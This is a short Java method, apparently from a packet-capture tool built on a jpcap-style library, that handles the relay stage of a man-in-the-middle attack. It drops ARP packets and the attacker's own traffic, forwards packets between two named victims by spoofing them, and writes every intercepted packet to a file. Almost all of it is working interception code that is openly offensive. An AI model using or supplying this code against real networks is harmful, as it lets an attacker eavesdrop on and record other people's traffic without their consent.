@Override
		public void receivePacket(Packet p_temp){
			
			if (p_temp instanceof ARPPacket) return;
			
			EthernetPacket p_eth =(EthernetPacket)p_temp.datalink;
			
			//check if the packet is mine just return do not send it again
			String mine_mac = decalculate_mac(device.mac_address);
			String incoming_src_mac = decalculate_mac(p_eth.src_mac);
			
			if (mine_mac.equals(incoming_src_mac)) return;
			
			IPPacket p = ((IPPacket) p_temp);
			this.dst_ip = p.dst_ip.toString().split("/")[1];
			this.src_ip = p.src_ip.toString().split("/")[1];
			System.out.println("Packet captured, source: "+this.src_ip+" destination: "+this.dst_ip);
			
			//ignore attacker's packets
			if(this.dst_ip.equals(localIp) || 
					this.src_ip.toString().equals(localIp)) return;
						
			if (this.dst_ip.equals(victimBip)){
				traffic_sender.send(spoofPacket(p_temp, victimBip));
			}
			else if(this.src_ip.equals(victimBip)){
				traffic_sender.send(spoofPacket(p_temp, victimAip));
			}
			
			//save the packets into a file
			writer.writePacket(p_temp);
			
			return;
		}